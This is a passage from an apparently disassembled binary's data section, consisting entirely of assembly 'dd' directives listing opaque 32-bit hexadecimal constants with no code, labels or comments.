		dd 0EB003EA5h, 945CB695h, 0B566D78h, 4FB77E73h,	6A7D0580h
		dd 0AA007C1Ah, 7277BDE3h, 45A7E5h, 48B9190Ch, 5B2B377Bh
		dd 6F8EEA00h, 0EBAB8655h, 93E0E8h, 80684825h, 0F7D21309h
		dd 0AC055174h, 8C81E122h, 0F1BC1F80h, 0EBDE3A2Dh, 2CE36E03h
		dd 51C086E7h, 3300E25Ah, 56EAFAD9h, 0EF4B668h, 0C3F378Ah
		dd 5E7C1720h, 4B1C29EDh, 73402E91h, 0D2502863h,	6282004Eh
		dd 5EF720Bh, 0FFF2553Dh, 0A29DF400h, 0D2D3E161h, 71B893h
		dd 0C0BACC5Dh
		dd 1F790D94h, 0F821E500h, 0D40B3CACh, 16E8E6h, 0A41E1C9Dh
		dd 23D38842h, 0D80450C0h, 0BE74E1h, 6DEDA819h, 11F0FD5Ch
		dd 42B5EF00h, 0BDB671B7h, 0D7CC00B4h, 6E393B5Fh, 0DB0F329Ah
		dd 0CE2866h, 0B391823Ch, 9F873DCBh, 0D78AE780h,	676BD02Ch
		dd 9900E0E6h, 0FCD4D133h, 7DC0B8B2h, 9E7700A7h,	1B4EC88Ch
		dd 6A00DA10h, 2C2EF19Ch, 2E292B9Fh, 307925Ah, 3EFA883Ch
		dd 9CD8A088h, 0F8C57700h, 0AABE2370h, 860E04F2h, 814EDDC6h
		dd 204C938Eh, 91E908h, 755A4D00h, 0B8B5709Ch, 707FE477h
		dd 45430368h, 569425C2h, 7A4EC4D8h, 5F2E1D00h, 42213054h
		dd 0B20F1C43h, 17668251h, 840840Dh, 8B0108E0h, 0B86C4725h
		dd 0C420413Dh, 7779049h, 0F66694FCh, 0BF88B054h, 733FD8BCh
		dd 0F9CC80Ch, 18F4686h,	4DE8D429h, 75C0EFC8h, 79F2002Ch
		dd 5B828BF0h, 5C1DB1B6h, 19C06C85h, 0B7382ED5h,	0D4FA0096h
		dd 79573EB0h, 1700138Ah, 3BDA912h, 0E0E7D1h, 0AE6DA73Bh
		dd 75AD38E4h, 331EA800h, 30115946h, 278D1CD1h, 0EAB98008h
		dd 57BD0EE6h, 5A16400h,	0A3A96DB2h, 0F01D0960h,	0A8828B03h
		dd 70682502h, 40008F9Ch, 8D06BDB4h, 0E808032Eh,	9EFCEF31h
		dd 97274CDh, 9CC7321Bh,	2687D480h, 42008C53h, 0DA85E8A5h
		dd 2CC8B3DCh, 1E5E6543h, 48A985C3h, 0E8F500D3h,	455C2AA0h
		dd 1A874700h, 8A11D5C6h, 167EEBBh, 247531BCh, 41BDFFAAh
		dd 3083A2C0h, 0D20014C0h, 58696FF5h, 165C8DF6h,	7B2AF7Dh
		dd 904E3AD9h, 0BE489C05h, 1A95341Eh, 0CDBCE880h, 3F24A838h
		dd 3D00FBF6h, 79DAE71Bh, 5A00659Ch, 3EE01AC7h, 0BB35F9Bh
		dd 9DD9B1F7h, 0CC1C9B80h, 0B00C044h, 4A2FDDC9h,	0B0E38651h
		dd 4CDF7AE8h, 7333CAh, 0DFD52FFh, 0C47ADE98h, 990CFA00h
		dd 932856EEh, 17720001h, 4D7B873h, 2D002449h, 45FBFA20h
		dd 35C8848h, 5A03628Fh,	59807D1Eh, 98609Dh, 0A766B701h
		dd 6F7EBF4Eh, 796AE0h, 49B1178Eh, 41940FFAh, 0E41D3Ah
		dd 0B00B1E74h, 0C947B3h, 0FFCF67A8h, 5BAD1C83h,	5843D024h
		dd 84669500h, 2D3B0BCh,	0AECB3C9h, 8055A16Ah, 95BF36D5h
		dd 5DE07EFh, 80DCAAABh,	3258100Dh, 7D8C4E53h, 0BA8EC113h
		dd 4927FF00h, 431A92h, 0ADAE0E57h, 366BE512h, 0E7F48F00h
		dd 3830DF6Ch, 7D6100EFh, 9C4837BFh, 630355B0h, 92196946h
		dd 0E4CCA0C0h, 91EB0E2Dh, 8740E094h, 753F46A5h,	94676D2Ah
		dd 0A609E830h, 90F01541h, 0C73F00BCh, 0C339FAFEh, 0A03A162Ah
		dd 194200C0h, 13634DF4h, 9B910EDEh, 0B487D63Bh,	79E41AEh
		dd 6D8260A9h, 87944D54h, 0D811E026h, 9020CD97h,	98DF3810h
		dd 0F13B0060h, 680FCAF2h, 0F37D0885h, 459042E0h, 5FD0B01Ch
		dd 0E9EA1240h, 12AA5155h, 4D29693h, 54824BA8h, 16DF1EC9h
		dd 183D0F00h, 2842E7E8h, 0ECECEDDh, 0BA108D71h,	0A7928500h
		dd 0CD078BBFh, 0AF412AFCh, 3A0B804Bh, 3B391773h, 6B00FECBh
		dd 5EEE0351h, 0F5006797h, 5058FFC1h, 0A2CFD8h, 95386011h
		dd 8B9FAD4Dh, 0B0D66C01h, 0D57E0C8Ch, 0FA57F9E4h, 42A00E9h
		dd 0CCEFFDC6h, 0A2008667h, 0C901058Ch, 3DE784DBh, 0DCC83722h
		dd 6BF43B0Ch, 10EAF770h, 1C440B00h, 86455212h, 146D3A64h
		dd 0A3A76E00h, 0EF23CFA4h, 0F100C9E8h, 0C4FAA2E9h, 0B8C7B642h
		dd 6A5C0087h, 0E2139BB0h, 0D500484Ah, 6356F47Eh, 2CD344BFh
		dd 7A539Dh, 4BA41628h, 0CB584662h, 0AC261765h, 19E11F01h
		dd 2CC0BEDh, 7F0B852h, 77424816h, 80BC50F3h, 0A13DC371h
		dd 3E630FB4h, 0C83D8C4Dh, 0D5FEAEh, 0D2A79692h,	889BCD67h
		dd 0ED2B3F28h, 0D0FE2200h, 0B6406CDAh, 5E67003Dh, 0CF8899B1h
		dd 6100CC43h, 740DC0A6h, 0B6FAAh, 583BAE03h, 283EA8A7h
		dd 3112550Fh, 2B6AE02Dh, 0AB770Ah, 0EABECF4Fh, 2E32C6BBh
		dd 6B13C100h, 18F0F9CEh, 16DD0F8Bh, 76029205h, 0C2C06EE0h
		dd 0AA09CB52h, 82EC3Bh,	846BBC24h, 6D400B2h, 69BB4F87h
		dd 0BE0D5938h, 2C625433h, 76A6088Eh, 3F0905A0h,	1492E655h
		dd 0CE18610Dh, 7FFC6846h, 0E2D3017Ah, 480DB131h, 2714E4E0h
		dd 76AA000h, 1E6DA682h,	571F0097h, 0DAD1F4B1h, 0D71F868Ch
		dd 83036EFAh, 0C0A5B60Dh, 0A6A8452h, 0C28F6231h, 680407DAh
		dd 0DC102393h, 2813B82Ch, 72545940h, 0F08B7AACh, 67310A96h
		dd 0AAC7E93h, 2484EFFCh, 0E6900BFh, 2F630B59h, 80046539h
		dd 0C2D47A7Ch, 16B388FFh, 1311BDF0h, 0D20C008Fh, 907E24F2h
		dd 91C52700h, 64CF803Bh, 1C483C15h, 8535CB8Bh, 0D077B707h
		dd 0AFEFB991h, 766AD858h, 1C7BD62Eh, 0A95F0D02h, 468781C6h
		dd 71E00AC1h, 2D12007Eh, 2F3C947Bh, 36739678h, 200F560Eh
		dd 2A198175h, 7A70405Bh, 83E71D47h, 624181D1h, 85B33EF3h
		dd 67A4FCA0h, 78A11CC0h, 46F6001Dh, 3CDAFF7Ah, 2400DC1Ah
		dd 0BCD1372Fh, 3F203650h, 0C4807352h, 0C395544Ah, 0B3187840h
		dd 0D7C55CFh, 0FB3300CEh, 97FE58D9h, 0EC136987h, 9000ACA3h
		dd 0DDFACFF2h, 0E3EE009Eh, 0FCD62B96h, 0A8B0763Ch, 2E34DB05h
		dd 0AC011EBEh, 9E5921BFh, 0E729070h, 0F623547Ah, 6F37DD81h
		dd 0FC32300Ch, 3F0055F6h, 5C596A1Ah, 0E0DE12B7h, 9D73001Eh
		dd 8E83D4BFh, 0E300D0BBh, 33088084h, 7E4A23DBh,	99962670h
		dd 1EFC00F8h, 8253C7DCh, 0E4F85907h, 0AFD0D7E8h, 1332B4h
		dd 52B257DBh, 0BBB00F42h, 1D1C8148h, 0AAC4E224h, 0D8C09D22h
		dd 1C04E020h, 17EA3F50h, 8D218DCh, 0BB124D2Bh, 0C00B17Ch
		dd 0B9EC9D70h, 879C0167h, 0B36DE0D2h, 0A658D45Fh, 4780E48h
		dd 19C964C0h, 0D31BFB01h, 9BBC60F4h, 2CC2301Ch,	1500767Ah
		dd 41994DB2h, 0B4D57Fh,	7684103Eh, 29863A90h, 0E9784500h
		dd 31774F2Ch, 880D307Ch, 56F08EB8h, 0C90F6690h,	835CA76Fh
		dd 0A00110F3h, 0F67DF8DCh, 7E9900FAh, 0C725B559h, 91FA416Ah
		dd 0E38F7600h, 0D6E46D3h, 664201C6h, 120ED4AAh,	43CA80BDh
		dd 83FACE82h, 7D07093h,	9036FFFh, 5D7EE0D6h, 7A02E9B7h
		dd 0BA855CD8h, 483EC187h, 0F537988Bh, 0BADC4A1h, 7F6D893h
		dd 1C40A14Eh, 39D8DF4Bh, 87311D8Bh, 0C9D41F41h,	7582925Ah
		dd 87C0CFACh, 3E00DB07h, 0F4C3ADF9h, 0FAEDFCh, 0BEBCEA6h
		dd 0D3DFB2CFh, 23AB0F00h, 104AE802h, 0C0AA004Eh, 3F011FB9h
		dd 69388F5Ah, 98A8B2AEh, 488C44B0h, 0B5514490h,	16850C8h
		dd 0E31B6E83h, 0C517FB77h, 6F0BE0F5h, 0DBC1CA12h, 308B7000h
		dd 26785057h, 0AE06D61h, 2865C4h, 40DDF30Eh, 3300F112h
		dd 431C60A9h, 0E0A6D88h, 0F5ECB685h, 18078FD4h,	0C07136CCh
		dd 20E18D02h, 0D0507E01h, 0A0CB6534h, 0CA2CA880h, 0C12A120Dh
		dd 29005990h, 821A25C8h, 0F7631D2h, 3E09FA9Eh, 0D10EDD00h
		dd 1803FEBFh, 10E6F78Dh, 605A0ECh, 2DA01E1h, 1999175Dh
		dd 0B33C7095h, 0E23ED601h, 0E6FAD950h, 0E0001838h, 1611D034h
		dd 645C1A1Ch, 40C71D4Ch, 0D5D2AC40h, 2E92E13h, 3F8D48E3h
		dd 0AC89EFB7h, 5DA71800h, 631D4A81h, 41443909h,	4C808D28h
		dd 0D6BDA2h, 0CB848382h, 202DDBC5h, 0A7977A00h,	885B5C56h
		dd 6FAD00A0h, 3B723D9Eh, 95076EF9h, 9DECE00Dh, 0FD6D4A90h
		dd 38E8E9h, 5405B95Ah, 14F0B670h, 48A00424h, 72243001h
		dd 0F0F70E3Ah, 0AAC88E0h, 40BAE6FBh, 0DB6103C0h, 0B00A7471h
		dd 0B0AB226Ch, 0C0C17204h, 94155CD0h, 0D1510F1Bh, 37A0E167h
		dd 0CCECB3C8h, 4F5C8F00h
		dd 68FFCE11h, 818B002Dh, 0C2EEEB0Fh, 0EF1DE618h, 220F067Dh
		dd 28162D55h, 0E96D71C4h, 0B800F76Ch, 3CA2AB65h, 0AD0FE544h
		dd 0A039C870h, 481A9C86h, 0FC084CC1h, 965DA300h, 0DD64D7D0h
		dd 41B2DB02h, 403BA053h, 774975Ch, 738386E1h, 6CD87096h
		dd 27038A90h, 0D0EB1A69h, 0D215807Bh, 740E1E5Eh, 82091D44h
		dd 57377D72h, 812C2CC9h, 7F75110h, 84703CE7h, 0CD773CCCh
		dd 35B5568Eh, 0BD4D87C0h, 5D010C75h, 381381B6h,	6C607050h
		dd 0ED0D0B5Bh, 0C0029DD7h, 40692A57h, 0FDAC10B1h, 9CB80072h
		dd 1203D98Eh, 13EACFDAh, 4DBEE400h, 0A37F74FFh,	2405F8EDh
		dd 1B338FDh, 9E44276Ch,	0C432F0E6h, 0B63D8205h,	88C0FA53h
		dd 0FCD54F41h, 558F00E9h, 914B436Ah, 971C6DB7h,	18E4C638h
		dd 8EEB8503h, 106CF179h, 7D570430h, 3DC41309h, 6B4C0FD8h
		dd 0B0E01Fh, 0DF1C0A04h, 40D05C67h, 100F7276h, 45927D8h
		dd 4350FCE0h, 6B9A95C0h, 0E4905C25h, 24D98800h,	0CA415347h
		dd 2DAFA5Ch, 5539195Dh,	1150C07Ch, 0B0E34C63h, 60B3801h
		dd 0E0025B2Eh, 25124F52h, 0C4C0871Dh, 3FE8949Ch, 0B79718A7h
		dd 0AD2D0098h, 6F32E709h, 9C032398h, 2ED2E75h, 71F0B049h
		dd 51090019h, 0C649306h, 304C9122h, 0B2BB1F2Ch,	0FCAA5200h
		dd 17EED4A3h, 1F4884Ah,	50B9E1B9h, 5D93C447h, 6E875F00h
		dd 0F4EC27E3h, 0A990064h, 0E2D6C437h, 511329DCh, 1FBDB0Eh
		dd 0E061B019h, 0D7F8833Ch, 0DBC6ACB4h, 1870C79Bh, 0D233A8h
		dd 3DDDA667h, 57E3B810h, 0C19F1300h, 0C8BB80BAh, 0BD96029Ch
		dd 0BEB199F6h, 10F08050h, 3F473A09h, 0C40033Dh,	51F79009h
		dd 18BF4C4Eh, 94C6D580h, 544C6C7Fh, 0B477C0D8h,	0E8852372h
		dd 19D90196h, 0DB62EEAAh, 484420BEh, 0B0E6FD25h, 7639A8h
		dd 0CFF861E8h, 0B893E9D6h, 8E554600h, 9083CAE0h, 412D01C2h
		dd 0F1AD248Ah, 1448C212h, 50941EB6h, 0CC3F761Ch, 612D007Ch
		dd 0B9BF98B4h, 80A50375h, 2F9DEF7h, 0A407F4A0h,	0BE9CEB00h
		dd 551C14F3h, 9EA6000Dh, 295329Bh, 88488DF2h, 99004F62h
		dd 0C8C00F4Fh, 0A67B001Eh, 2B41996h, 3A0004D4h,	0A360EAABh
		dd 7FBC7552h, 53A600EBh, 359E1B90h, 0F5002206h,	4C42A1E8h
		dd 94761BBh, 0A57FF77Bh, 0C63B1D00h, 0B1399689h, 0DD989F14h
		dd 931DFE00h, 0EC23B7CBh, 290E1F1Ah, 0A9C1401Ch, 0D6B52B3Bh
		dd 0CAA1780Bh, 1009FD57h, 86A5EC00h, 85001B09h,	0B77016ECh
		dd 191593h, 0CF9B7A3Bh,	3858BA6Bh, 16746007h, 602E1191h
		dd 9481BC8Fh, 9AAC2407h, 50CF0094h, 4767C819h, 9E1A3C00h
		dd 9F1B3E9Dh, 41830084h, 0ABB2ED32h, 8E00E131h,	8D162953h
		dd 0F72B7Ch, 0DB3CA512h, 0C45851EEh, 5BAEF50Ch,	38CE10C3h
		dd 7B00AB66h, 99E0D8C0h, 6000BD62h, 650BF1BAh, 1DE6DF50h
		dd 7D90D520h, 0D8007CCCh, 4EDBA562h, 0DC00A80Dh, 3D06DD37h
		dd 9C9A51h, 14E2AB9Eh, 6FCD9193h, 20750400h, 0AE4C31D0h
		dd 0C6890024h, 6E0BA2B4h, 400073DFh, 0F3112F2Eh, 35A91DAh
		dd 4C8C30BFh, 2890579Dh, 200E342h, 69591D29h, 71F33D0h
		dd 0EFE918F9h, 10B207F6h, 6B4AF7Dh, 31076D07h, 950936Ch
		dd 121162h, 0EC68C78Dh,	806A10B1h, 0D077BEAh, 4ECE759Dh
		dd 0FB85810Eh, 0FEC840C2h, 6A890028h, 0F4BA9068h, 8A0060ECh
		dd 3E0EA1F6h, 10BA618h,	4C8E82A8h, 808F429Ah, 688ACD1Ch
		dd 3CF3AC04h, 431FA2C2h, 0F1501887h, 0A00033DBh, 0EDF6D359h
		dd 1BBC22E9h, 489F9209h, 0F7DE488h, 47F1A20h, 0D163ACC7h
		dd 0D768C02Fh, 8303D98Dh, 703A82FAh, 0DAE344h, 135C360h
		dd 5FEAA5DFh, 72B82567h, 0ED573A30h, 6C5500F6h,	0C6664A8Dh
		dd 0BA00B865h, 7F443F8Ch, 486108h, 0E067A143h, 0CA6B3663h
		dd 35161C07h, 17B0ECB7h, 887F85h, 0E9260EBFh, 957AB94Eh
		dd 14664800h, 2A8BE5A1h, 1BB05Eh, 0E827E0BBh, 7770BEC0h
		dd 0A41AEE00h, 56360FBCh, 7CE70E12h, 790089FDh,	0AC50C474h
		dd 4D802D00h, 0FBB6A75Eh, 3A0B4CA8h, 94C85F00h,	0E6237805h
		dd 0C6651F01h, 840297FFh, 1CBCAD70h, 3EF95712h,	0EB9FE10Fh
		dd 0FCD010D6h, 3D21A300h, 8A711FCBh, 1C7E4A00h,	0C9176A82h
		dd 0EB650034h, 526F0FF6h, 0C700FB51h, 2C78D045h, 3915BE0Ch
		dd 240053DAh, 20502386h, 59775735h, 62183003h, 0A8552A8Ch
		dd 674EFFh, 46AE6AB2h, 49368A6Fh, 3788F007h, 2ED06542h
		dd 8E1741h, 961F5D2Ah, 40932482h, 0EC460F05h, 9A1D3B4Eh
		dd 0EA56DC80h, 0F59DF43h, 98A6FCEFh, 4DCE2920h,	0AB008A19h
		dd 41D34E55h, 0C75AD4h,	0DE53E939h, 0BFD0EE07h,	0D20A6D00h
		dd 531EA38h, 0C65F00F2h, 0D971DF04h, 0EF0E6E21h, 0AB93A5A3h
		dd 0F06FC98h, 0CD6092ABh, 4AB27251h, 17473D00h,	3DADD68h
		dd 4B6B0E66h, 142F0939h, 0C41A001Ch, 0F97CA0FCh, 555EE00h
		dd 0F152F838h, 13F4003Bh, 401AC54Ch, 250CFF21h,	10C4C063h
		dd 1887040Dh, 0AF081E9Ah, 1986F981h, 8020E0h, 56D1D7A6h
		dd 6AE2ACFEh, 8DE1FB00h, 5B7D0813h, 2F8AA092h, 0E5F466h
		dd 0AB42EFD6h, 0A0249857h, 1FED83Ch, 50E04033h,	0C7D81576h
		dd 0CA603480h, 20B48778h, 4F9B3B17h, 0BFC6B02Ch, 98E3AE00h
		dd 0ED8470h, 12381A1Fh,	0A30A48B6h, 0B776F003h,	0A096EE8Bh
		dd 3FE311E5h, 0D880E845h, 75CD0B30h, 1BE8F4D4h,	42537F34h
		dd 78E2F880h, 2E133BC9h, 0B00E929Eh, 37736309h,	96C68A01h
		dd 38788111h, 0ADA7A840h, 9F99001Ch, 9C940BACh,	903E04A5h
		dd 0A66E8097h, 0A014B589h, 723E68Bh, 2BC174C2h,	25BBE0DCh
		dd 0B8126DCFh, 400D632h, 0ED1444E3h, 117A2D79h,	51EA9D58h
		dd 9DB6A13Ch, 73DA052h,	24D0CC46h, 954DF600h, 22EE0F2Bh
		dd 0C5AF5CC3h, 80193CE7h, 0B5BCA632h, 94B2791Dh, 7C2BB840h
		dd 6023DD9Ch, 0F7D9EE1Bh, 0CA00F1ECh, 0C3F3540Dh, 73F63026h
		dd 0A65707C9h, 95FDA907h, 25CC0B6Eh, 0AC971580h, 2009F9Eh
		dd 6C8BDE5Dh, 5E18C7h, 0C372D432h, 0AF16E26Dh, 7AEA1703h
		dd 0C85BD288h, 32436B0Fh, 0AB194EB6h, 1B7F6560h, 0F0B7CCA0h
		dd 5CC75024h, 25F69600h, 109E5Ch, 1E128013h, 2701FB0Eh
		dd 0AE0DF80Ch, 0D328C0h, 22A097A9h, 7BEA6236h, 17D2F900h
		dd 78672AC7h, 0E715001Ah, 988CA111h, 0AE00B9B1h, 0D9D38D77h
		dd 399048AFh, 9836EA4h,	9C4F401Fh, 894E76C0h, 8B0024FEh
		dd 13EE3EDCh, 0BD84B1h,	0BB70326Eh, 4CF177F0h, 976BC00h
		dd 9C297E20h, 172600D3h, 0EC1AFC0Eh, 7700D621h,	5847BABBh
		dd 0E93D07h, 0BCC9972Ah, 80B8C4AEh, 630DDA03h, 0A873921Ah
		dd 57655Fh, 0C88DBA78h,	0CBA8AB68h, 95A6750Fh, 981B87B7h
		dd 31E385E0h, 72942C33h, 802871h, 48CE944h, 0AA24169Ch
		dd 0C4FD7500h, 0DA3C5BBDh, 0E2B60284h, 8B8C8E07h, 0B2D129C0h
		dd 832AA23Fh, 1BBC892Fh, 0A3298035h, 27C26h, 0C15A0694h
		dd 0AAC37BCCh, 0A7C5FA1Dh, 0A2A4E141h, 0B5202E29h, 0AD930722h
		dd 0AA47A190h, 0EE5600AEh, 346C1B0Eh, 0E4B76800h, 0BD4FC07Eh
		dd 0E7ACB89Bh, 39AE40D8h, 1B059610h, 800DAD74h,	0E45CD414h
		dd 81B3EE00h, 9147F2F9h, 0D9920097h, 3D8F5B6Fh,	3CE29E46h
		dd 88032FF6h, 5D480AE1h, 0C3D4A8FDh, 0C85B0045h, 51E656C2h
		dd 0E7746C8Ch, 0BBA3B501h, 0F136D78h, 0F75420h,	0A4144A10h
		dd 4FB055DFh, 0B600E474h, 0CFF51AACh, 1CFD2305h, 8037F0F2h
		dd 4C3FF8D4h, 0F90E962Ch
		dd 0E0671685h, 0C7DF59F6h, 7D7F0Eh, 0DA25B581h,	46CB8B77h
		dd 745CC21Fh, 0B047EF00h, 98C4492h, 24D508FEh, 45561482h
		dd 6B09C04Eh, 80C01DBCh, 5A3A4270h, 2D6A0078h, 39FE55C4h
		dd 9CCF45FBh, 0CB60E0E7h, 2766B9E6h, 7D565ADFh,	0D6A3480Eh
		dd 47993800h, 9338FEh, 8A400734h, 0BE288EA1h, 710622F4h
		dd 4E52C788h, 60D10088h, 9A5A8A1Dh, 50C536A5h, 1003CD88h
		dd 781D62D7h, 649E03B0h, 5C807271h, 11A067A3h, 10A0F6D0h
		dd 5301198Ah, 296D45B7h, 25D065C1h, 82F400D6h, 31B1E2C9h
		dd 0C0046E3h, 0B83D537Ch, 48C14771h, 0C331DDDFh, 40F9D630h
		dd 1A77A128h, 527088C0h, 1F18809Ah, 40017AD8h, 3B7D31D9h
		dd 882A53DFh, 0F34068CAh, 83028082h, 8600A7E8h,	3B203992h
		dd 64FEEh, 80E6300Ch, 5BAEB3B9h, 5C50D07h, 34602CE3h, 55CC0Ah
		dd 41284259h, 614F7971h, 3D44DB00h, 9F803C4Bh, 229100A6h
		dd 25D283F1h, 81C356F3h, 0C750FBFh, 2B0DD6C0h, 4A032050h
		dd 9006532Ah, 0B75E8B3h, 0A5841DBFh, 0F8E1C6FEh, 0BB0290Fh
		dd 607529C4h, 7A429848h, 2162240Eh, 3C125D66h, 8913DD10h
		dd 93C410Eh, 0B250115Fh, 1318FB11h, 74293D1Ah, 551BF980h
		dd 0B0F6D981h, 544EA600h, 0DCA742ABh, 8B5F0002h, 0F02472A8h
		dd 0B03FA3Dh, 0ACD08AC4h, 4647D83Eh, 2D7F21h, 0B62C485Ah
		dd 897D56D4h, 5183CD03h, 0C8D0274Bh, 0BC339Fh, 0D591CD8h
		dd 3D35835h, 0DED70C00h, 0FF91D08h, 66940F7Ah, 9FE0D218h
		dd 6A449C0Dh, 0FEAD1F03h, 7BCA8CCh, 0BAFCB339h,	0F8CDA001h
		dd 0F50385BEh, 426CFE6Fh, 89A0E0FFh, 2C3C16B9h,	391CEA14h
		dd 0D878748Ah, 1D45F387h, 0AB485E60h, 0CC2900B0h, 584C2538h
		dd 0FD07CDD4h, 347551ECh, 0A4695B60h, 89630112h, 0C72292F2h
		dd 18A3DCBFh, 0ECE43024h, 385FB180h, 0D8B3CAh, 35F7EE26h
		dd 2BE6FB02h, 0EE8E252Eh, 7D00C717h, 0CA3F4280h, 9DB50CE4h
		dd 0A2D0BF7Ah, 44A8AF03h, 0D816DDABh, 3FDA684h,	9A8DFE29h
		dd 40C810DBh, 600EDDAh,	9260D753h, 89B7E2h, 756AAA49h
		dd 6DF98C91h, 52078078h, 0D35D03CBh, 0CCA73DF0h, 7CE460ECh
		dd 6BAE9EDAh, 73B9A126h, 4D608B00h, 263A43F4h, 0F408ED3h
		dd 83E0222Fh, 0F888BEC1h, 0AC4BA200h, 0BAAB512Ch, 0C8F0C003h
		dd 28AECE90h, 434A7300h, 622C2F1Ch, 84B30382h, 5F1759F9h
		dd 0C9ADC5D8h, 0A5E39850h, 80BC3F3Ch, 8F96501Bh, 0FAE872h
		dd 8EA2018h, 0CE732BBDh, 6DBC3Ah, 0FF7EB974h, 0F8601457h
		dd 0F4BF6330h, 95F8BC59h, 0D30127F8h, 2E01A52Bh, 5CD8AECAh
		dd 0A6E10015h, 9F888FF7h, 8A0580FDh, 9224C53Ah,	0D0F18A01h
		dd 72F8A6C8h, 0ADC71287h, 0B92847BFh, 27C160F7h, 0CD5C375Ch
		dd 0E157241Ah, 0F236E00h, 7DD3F7C2h, 67E60030h,	433DB99Ch
		dd 6C1266C8h, 380E2CECh, 0CE1EE17Fh, 5A00C7C2h,	25814D94h
		dd 21D5DCh, 70AFAC03h, 0E59B0CE2h, 9EE99407h, 892787B4h
		dd 0AB66CA60h, 7316036Eh, 0A9B5C4D7h, 0CF43DE98h, 1B19E376h
		dd 20B03801h, 57B820h, 156FB26Bh, 215E5CD6h, 430081ECh
		dd 7FDBD02Eh, 4A140Fh, 0AA36665Dh, 0BF907208h, 970D572Ch
		dd 0E8CA3300h, 0BBAFB3h, 81B7A83Ah, 2F5A71B4h, 0FF19AD09h
		dd 28AC837Dh, 6918A18Bh, 0B8BC40DAh, 821B0FD3h,	3D0046AAh
		dd 0E44D5D11h, 0B213967Fh, 8C07EF9Bh, 0F65091A8h, 7CF009h
		dd 0A2EBE4DAh, 3A305237h, 242EB072h, 6600AD5Fh,	0F73D1104h
		dd 0D5E4ED19h, 4E5D00B2h, 0DBC0C44Ch, 0BF009E28h, 99B33DE9h
		dd 613C89h, 0C9395F25h,	7EFE18ABh, 271CF200h, 6B05488Fh
		dd 36D20120h, 0C3EE521Fh, 40364Ah, 0D15E2BC5h, 0A704E6h
		dd 20A58749h, 0E21365F1h, 0E854C800h, 4C5641A9h, 4B14C57h
		dd 53264E00h, 582B04A5h, 0C239CCE6h, 37B680A1h,	68A6AB94h
		dd 932A0001h, 57BDE3AEh, 0E7EE5C90h, 0E423E909h, 7A10004Dh
		dd 0F216A803h, 992F00F4h, 2C3D54F1h, 7E000902h,	39C5BA0Ah
		dd 2655661Dh, 80B43FF3h, 0D035CE88h, 0F2F82634h, 0AC4F9000h
		dd 79681D5Eh, 5C030065h, 2E69E30Bh, 0AE0EB821h,	479524A9h
		dd 8B175864h, 7227BE70h, 0A14B3D31h, 9261A300h,	449AE294h
		dd 0E77E5100h, 531A0E79h, 9FBD1E75h, 0C16405Bh,	240B954Ch
		dd 407A1A90h, 97B52F00h, 0F65FA6AFh, 6AF20Ah, 331B2B76h
		dd 4D3E5D85h, 0C0A77103h, 0B05593C3h, 2FB2BCh, 0B5FF7CC9h
		dd 0A4DBC6C7h, 85DCCB1Fh, 83AF803Dh, 7289A573h,	319C3B18h
		dd 0D3C3FBDh, 0C07D6D8h, 40D80A5Bh, 0D3B9FE88h,	0C5C4FC1Ch
		dd 7C5CD040h, 3CFA0Bh, 3A4FE4DCh, 7BF6CD2h, 5EA6C8E7h
		dd 7F4ECA00h, 0B3D8C7ADh, 8BBD1C53h, 0FEAB4026h, 2B9246EFh
		dd 33BC3B00h, 0A54A51EEh, 870A029Dh, 47A8CF2Eh,	8009C3DFh
		dd 77C408h, 0B54EC933h,	0F805B05Dh, 32F53Dh, 7D375260h
		dd 0CDC2F9h, 0CCD431F7h, 3A6D2FD2h, 0CE10FB60h,	0A14C44h
		dd 1228020Eh, 2675AE5Ah, 0F6825202h, 40F42AF7h,	38FBCE9Ah
		dd 8480BE38h, 3EBFE8EDh, 3004483h, 8B3AB685h, 10E4548h
		dd 0EDE42C66h, 0E871FF05h, 9F7A5EA2h, 17554B00h, 0B8BAF4A1h
		dd 378C1DCAh, 1B28C038h, 74D25351h, 7D29CB01h, 0B5A676E6h
		dd 1A8320h, 31E0936Ch, 8136D3E8h, 86981500h, 88A29B64h
		dd 7DA771Bh, 3F451E9Ch,	21BEC12Bh, 0F2CEF81Dh, 0E9E7101h
		dd 9FBA5204h, 0D30DE4h,	60F3405Eh, 0AE669ABEh, 0AFEB4600h
		dd 0D1E93F6Bh, 26830715h, 0C04F4D51h, 0A9636152h, 77166D00h
		dd 0B85EBAACh, 0A3C60094h, 80335145h, 5300F09Eh, 0FED5A44Eh
		dd 476B2Ah, 0B2C6E87Eh,	31D31E05h, 96A0C4A0h, 41BDCF00h
		dd 0EC976CF8h, 0F99A03DDh, 0F232398Ah, 8B5E1491h, 80855B48h
		dd 0AC11DFE2h, 8AC300CDh, 343C7623h, 0D00137Bh,	2BF1819Dh
		dd 8B643h, 0EC6F5929h, 3FCCDBFBh, 8A5D7700h, 0ADC87A07h
		dd 5ECD07D0h, 0B3418D68h, 0A4D8A5FDh, 0FC07F617h, 0BFF1D20Ah
		dd 33740110h, 0FA6F58B9h, 7B03AB00h, 2F27DD8Bh,	0D73A171Eh
		dd 39B54480h, 9FE3B9h, 71E10B97h, 4DC840FBh, 4A417C00h
		dd 6F3ECB2Ch, 7220C090h, 0A0748DC0h, 0E3B9F72h,	40FE8CC5h
		dd 6711BDh, 0F3F94E2h, 0C799028h, 853ED900h, 0B263F683h
		dd 8EC313E7h, 0F3BB0054h, 4CB653C8h, 0F41F10F0h, 0A7C01BCEh
		dd 6C281E57h, 6767DFAh,	0A8078BEFh, 0DB00E642h,	58D6930Eh
		dd 8B505h, 69C5595Ah, 110CA823h, 0F348CEh, 2B57B9A3h, 0D4FAB6h
		dd 0E00FC8AEh, 0B2E11308h, 15014779h, 7BF74ED2h, 7F5D56h
		dd 0B0670532h, 7D5C336Fh, 2ECF14BFh, 8A5C12F4h,	68EC6440h
		dd 3C199A4h, 2D860596h,	8095DE2Eh, 3FA13ABFh, 7EBEE124h
		dd 0F9980D00h, 1046C7h,	0E7D02062h, 0ED99010Fh,	428F9D14h
		dd 4D2508F4h, 0C83C0073h, 0B1C3ECCh, 998D550h, 51EA7000h
		dd 0B04BF354h, 592728F1h, 8370EDCh, 85606F65h, 0B1461B9Ch
		dd 6A09BD0Fh, 0BBEDC033h, 0D21441h, 67759082h, 0A33E8A5Ah
		dd 36CEEC00h, 0E4C026DEh, 59D50739h, 22C8B51Ah,	65E07D99h
		dd 0E7487CE0h, 9CEE2856h, 2B4C1E07h, 0D740767Eh, 7445504h
		dd 20E8C7CFh, 723D217Fh, 68E8201Fh, 32DE9200h, 36A3E3EDh
		dd 158D009Eh, 6FCB427Dh, 0A2005378h, 2C0A199Dh,	97F4DBC7h
		dd 2BCA4900h, 140E6FE2h, 47D56167h, 5250AAEEh, 50C78Bh
